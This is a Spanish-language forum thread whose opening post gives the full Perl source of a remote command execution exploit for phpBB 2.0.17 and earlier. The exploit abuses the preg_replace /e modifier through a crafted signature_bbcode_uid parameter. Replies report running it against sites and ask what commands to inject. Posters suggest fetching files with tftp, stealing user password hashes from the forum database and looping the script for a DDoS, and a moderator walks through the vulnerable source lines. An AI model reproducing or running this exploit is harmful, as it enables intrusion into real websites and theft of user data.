Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de
Autor
|
Tema: [OB] phpBB <= 2.0.17 RCE Exploit (Leído 6,559 veces)
|
sikik
Desconectado
Mensajes: 664
Jo sóc jo i la meva circumstància.
|
#!/usr/bin/perl
# phpBB <= 2.0.17 remote command execution exploit # need for work: # 1. PHP 5 < 5.0.5 # 2. register_globals=On # 3. magic_quotes off # ------------------------------------------------ # (c)oded by 1dt.w0lf # RST/GHC # http://rst.void.ru # http://ghc.ru # 03.11.05
use LWP::UserAgent; use HTTP::Cookies;
if(@ARGV < 2) { usage(); }
head();
$xpl = LWP::UserAgent->new() or die; $cookie_jar = HTTP::Cookies->new();
for($i=0;$i<5;$i++) { $rand .= int(rand(9)); }
$name = 'r57phpBB2017xpl'.$rand; $password = 'r57phpBB2017xpl'.$rand; $path = $ARGV[0]; $cmd = $ARGV[1]; $xpl->cookie_jar( $cookie_jar );
$res = $xpl->post( $path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',
Content => [ 'username' => $name, 'email' => $rand.'_bill_gates@microsoft.com', 'new_password' => $password, 'password_confirm' => $password, 'signature' => 'r57:`'.$cmd.'`', 'viewemail' => '0', 'hideonline' => '1', 'notifyreply' => '0', 'notifypm' => '0', 'popup_pm' => '0', 'attachsig' => '0', 'allowbbcode' => '1', 'allowhtml' => '1', 'allowsmilies' => '0', 'mode' => 'register', 'agreed' => 'true', 'coppa' => '0', 'submit' => 'Submit', ], );
if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); } else { print "Done. User $name successfully registered!\r\n"; }
$res = $xpl->post( $path.'login.php', Content => [ 'username' => $name, 'password' => $password, 'redirect' => '', 'login' => 'Log in', ],Referer => $path.'login.php');
$res = $xpl->get($path.'profile.php?mode=editprofile'); @content = split("\n",$res->content); print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; for(@content) { if(/<\/textarea>/) { $p = 0; } print $_."\r\n" if $p; if(/<textarea name="signature"/){ $p = 1; } } print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
sub head() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; } sub usage() { head(); print " Usage: r57phpBB2017.pl <path> <cmd>\r\n"; print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n"; print " <cmd> - Command for execute\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); }
# milw0rm.com [2005-12-24] http://milw0rm.org/id.php?id=1388http://www.areaunix.com/modules.php?name=Forums&file=viewtopic&t=2366http://forum.zone-h.org/viewtopic.php?t=4690
|
|
|
|
« Última modificación: 31 Diciembre 2005, 05:13 por Sirdarckcat »
|
En línea
|
"Social Engineer -> Because there is no patch for human stupidity". "Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)" Warning: shell_exec() has been disabled for security reasons at line 274.
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
al usarlo me dice esto: sh-2.05b$ perl phpbb.pl http://www.web.com/foro/ id perl phpbb.pl http://www.web.com/foro/ id ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Done. User r57phpBB2017xpl10775 successfully registered! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ y se crea un usuario r57phpBB2017xpl10775 , pero no entiendo que utilidad tiene esto, no ejecuta ningun comando :S
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Si no se que comandos se pueden usar....alguien puede decir algi mas acerca de este exploit. Gracias de antemano
|
|
|
|
|
En línea
|
|
|
|
Ture
Desconectado
Mensajes: 16
|
lo mismo digo, crea el usuario pero no se si el comando puede ser con parámetros tipo tftp -i ip get nas.txt o si son comandos atómicos npi eso si chavales no espereis ver un output pork el exploit no tiene esa funcionalidad hombre si va el tftp algo se podría modificar ese perl  yo me encargaría pero q comandos son? comandos sql? alguien que nos ilumine
|
|
|
|
|
En línea
|
|
|
|
Conemrad
Desconectado
Mensajes: 74
|
yo lo he probado, me ha creado un suario "x" he accedido al foro como tal usuario pero nada mas. eres un usuario simple con ningun tipo de permisos extraordinarios.
|
|
|
|
|
En línea
|
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Parece increible que ni os dignais a leer el exploit. Por la misma regla de tres, si os doy un código malicioso, lo ejecutareis a ciegas? Sin saber nada? Sin preocuparos de que hace?  Haber... para empezar leed un poco... Donde esta el comando? En la variable $cmd... sin saber de perl, solo hace falta buscar... donde vuelve a aparecer? 'signature' => 'r57:`'.$cmd.'`', Ahora investigad, sino funciona modificad, id probando o buscando otro exploit.
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
© Shadoweps ツ
Wiki
Desconectado
Mensajes: 813
Daría todo lo que sé por la mitad de lo que ignoro
|
Hola, eh visto algunos Xploits como este pero la verdad no tengo ni las mas minima idea de que se hace, alguien me puede explicar (si quiere ya que solo quiero saber por curiosidad) se baja el xploit y luego para sacarle jugo que se hace? :s
Gracias
Salu2
|
|
|
|
|
En línea
|
Todos Se Rien De Mi Por Que Soy Diferente Yo Me Rio De Ustedes Por que Son Todos Iguales -  
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
Al registrar el usuario ejecuta el comando.... (pero no devuelve respuesta) pero parece que no funciona... o eso creo yo.
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Aver Ertai.. yo lei el exploit aun sin saber nada de perl y lo probe sobre un foro phpbb 2.0.17 y hasta estuve viendo la base de datos que hacia con los users que creaba y justo... parece que le añade la signature (firma) 'r57:`'.$cmd.' donde pone cmd parece que va el comando...pero la pregunta era que tipo de coamando, un coamndo de unix,de php,de mysql, de que?
Y como dice Conemrad: "yo lo he probado, me ha creado un suario "x" he accedido al foro como tal usuario pero nada mas. eres un usuario simple con ningun tipo de permisos extraordinarios."
Eso es cierto, el usuario que crea no tiene ningun tipo de privilegio...
|
|
|
|
|
En línea
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
leyendo el advisore del bug, el error se encontraria en el script "usercp_register.php" que no valida correctamente la variable "signature_bbcode_uid", por lo que se podria realizar un SQL injection (si "magic_quotes_gpc" esta OFF) o injectar comandos PHP atraves del modificador ¨e¨ en la declaracion "preg_replace()", tal como se ve en el exploit: $path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00' espero que les sirva... Salu2 Boys!
|
|
|
|
|
En línea
|
|
|
|
jeancarl00
Desconectado
Mensajes: 19
|
User r57phpBB2017xpl68446 successfully registered! como a la mayoria no ? tampoco se perl ( gran problema) solo se q ese xpl registra usuarios r57phpBB2017xpl 68446 yese valor es el q cambia aleatoreamente -- nada nuevo no ? probando y probando comandos no encontre 1 y registre muchos usuarios  $res = $xpl->post( $path.'login.php', Content => [ 'username' => $name, 'password' => $password, 'redirect' => '', 'login' => 'Log in', ],Referer => $path.'login.php');
$res = $xpl->get($path.'profile.php?mode=editprofile'); @content = split("\n",$res->content); creo q necesitamos un empujon mas para comprender el xpl thx d antemano
|
|
|
|
|
En línea
|
|
|
|
|
Man-In-the-Middle
|
Esto ; para lo que podria servir,a si no mas a ojo cerrado, es hacerle un blucle de 1-100000 y le puedas hacer un DDos , para nada mas
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Pues menos mal que era un "remote command execution exploit" jejejeje... weno habra que conformarse con lo que hay...... pero eso de los comandos me mosquea un poco... quizas si se pueda usar un comando o algo pero weno....
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
El error esta en: includes/usercp_register.php linea 772 $signature = ($signature_bbcode_uid != '') ? preg_replace("/:(([a-z0-9]+:)?)$signature_bbcode_uid(=|\])/si", '\\3', $userdata['user_sig']) : $userdata['user_sig']; y despues en la linea 519 $sql = "UPDATE " . USERS_TABLE . " SET " . $username_sql . $passwd_sql . "user_email = '" . str_replace("\'", "''", $email) ."', user_icq = '" . str_replace("\'", "''", $icq) . "', user_website = '" . str_replace("\'", "''", $website) . "', user_occ = '" . str_replace("\'", "''", $occupation) . "', user_from = '" . str_replace("\'", "''", $location) . "', user_interests = '" . str_replace("\'", "''", $interests) . "', user_sig = '" . str_replace("\'", "''", $signature) . "', user_sig_bbcode_uid = '$signature_bbcode_uid', user_viewemail = $viewemail, user_aim = '" . str_replace("\'", "''", str_replace(' ', '+', $aim)) . "', user_yim = '" . str_replace("\'", "''", $yim) . "', user_msnm = '" . str_replace("\'", "''", $msn) . "', user_attachsig = $attachsig, user_allowsmile = $allowsmilies, user_allowhtml = $allowhtml, user_allowbbcode = $allowbbcode, user_allow_viewonline = $allowviewonline, user_notify = $notifyreply, user_notify_pm = $notifypm, user_popup_pm = $popup_pm, user_timezone = $user_timezone, user_dateformat = '" . str_replace("\'", "''", $user_dateformat) . "', user_lang = '" . str_replace("\'", "''", $user_lang) . "', user_style = $user_style, user_active = $user_active, user_actkey = '" . str_replace("\'", "''", $user_actkey) . "'" . $avatar_sql . " WHERE user_id = $user_id";
mas especificamente aqui: user_sig_bbcode_uid = '$signature_bbcode_uid'
donde no se limpia la variable que es introducida con el GLOBALS[], dado que se introduce un: (.%2B)/e%00' con exito, y sin las MQ.. podrias introducir comandos despues de la '.. pero el codigo va mas alla.. miren. el la linea 333 usercp_avatar: $params = array('coppa', 'user_id', 'username', 'email', 'current_email', 'cur_password', 'new_password', 'password_confirm', 'icq', 'aim', 'msn', 'yim', 'website', 'location', 'occupation', 'interests', 'signature', 'viewemail', 'notifypm', 'popup_pm', 'notifyreply', 'attachsig', 'allowhtml', 'allowbbcode', 'allowsmilies', 'hideonline', 'style', 'language', 'timezone', 'dateformat');
y despues en la 337 for($i = 0; $i < count($params); $i++) { $s_hidden_vars .= '<input type="hidden" name="' . $params[$i] . '" value="' . str_replace('"', '"', $$params[$i]) . '" />'; } sin ninguna limpieza se introducen comandos, con un <??> puedes meter comandos de PHP.. si es REMOTE CODE EXECUTION saludos!!
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Bien, por fin alguien q aclara un poko el tema aunq no se q comandos PHP poner...mm... como tampoko se PHP jejeje... estuve echando un ojo a la pagina http://geneura.ugr.es/~maribel/php/ pero ni idea de que puedo poner como comando... en todos los lados explican codigos... pero no se....mmm... se podria por ejemplo conectar a la base de datos mysql del foro en cuestion y robar un hash de un user o algo...o otra manera... ideas??
|
|
|
|
|
En línea
|
|
|
|
|
|